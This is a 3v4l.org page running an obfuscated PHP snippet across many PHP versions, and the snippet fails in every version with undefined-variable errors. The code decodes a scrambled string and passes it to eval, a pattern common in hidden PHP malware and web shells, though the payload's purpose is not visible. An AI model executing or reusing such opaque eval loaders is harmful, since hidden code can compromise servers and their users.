3v4l.org

run code in 300+ PHP versions simultaneously
<?php $O0O000="PxtDQqfzYahmwCvZNuBjLXsMUkIKJbHEWOgFyVASGiRnlTdcropeNFSBHDJkxUbKYCsEGXtfjIwqnhpAzgRlWVveoTymauLdiOrcPZQMNB9YURyGCuLKrWSFpB0vHCLJL0TnWorKrWSFz107paiKACLKrWSFpB09pCr0zoi7EWGZgobyEIEbgCvhI1tNn1Lgz2E1x2S5g3n0qkpFz10QAOSiMai0V30GCKTfUa8vxItQnKTFrWTkrCvQVY0AEdTXx3LQg24vxItQnKTFrWTkrCvQMY0ACWiKAlyhI0reTewdg3ydImy9Nmydx2bix2wdAH0ACHi7BHZzCmtoEIL1cK4vpKGsgK5ix3LDxK1srKTQc29PpfwGCvhzpaT4UIHZAOwGCvhvpCyvJH0AJH0ANk4="; eval('?>'.$O00O0O($O0OO00($OO0O00($O0O000,$OO0000*2),$OO0O00($O0O000,$OO0000,$OO0000),$OO0O00($O0O000,0,$OO0000))));
Output for 8.0.0 - 8.0.30, 8.1.0 - 8.1.28, 8.2.0 - 8.2.18, 8.3.0 - 8.3.6
Warning: Undefined variable $O00O0O in /in/li4GG on line 3 Fatal error: Uncaught Error: Value of type null is not callable in /in/li4GG:3 Stack trace: #0 {main} thrown in /in/li4GG on line 3
Process exited with code 255.
Output for 7.0.0 - 7.0.20, 7.1.0 - 7.1.33, 7.2.0 - 7.2.33, 7.3.0 - 7.3.31, 7.4.0 - 7.4.33
Notice: Undefined variable: O00O0O in /in/li4GG on line 3 Fatal error: Uncaught Error: Function name must be a string in /in/li4GG:3 Stack trace: #0 {main} thrown in /in/li4GG on line 3
Process exited with code 255.
Output for 7.3.32 - 7.3.33
Fatal error: Uncaught Error: Function name must be a string in /in/li4GG:3 Stack trace: #0 {main} thrown in /in/li4GG on line 3
Process exited with code 255.
Output for 5.5.24 - 5.5.35, 5.6.8 - 5.6.28
Notice: Undefined variable: O00O0O in /in/li4GG on line 3 Fatal error: Function name must be a string in /in/li4GG on line 3
Process exited with code 255.
preferences:
194.82 ms | 402 KiB | 225 Q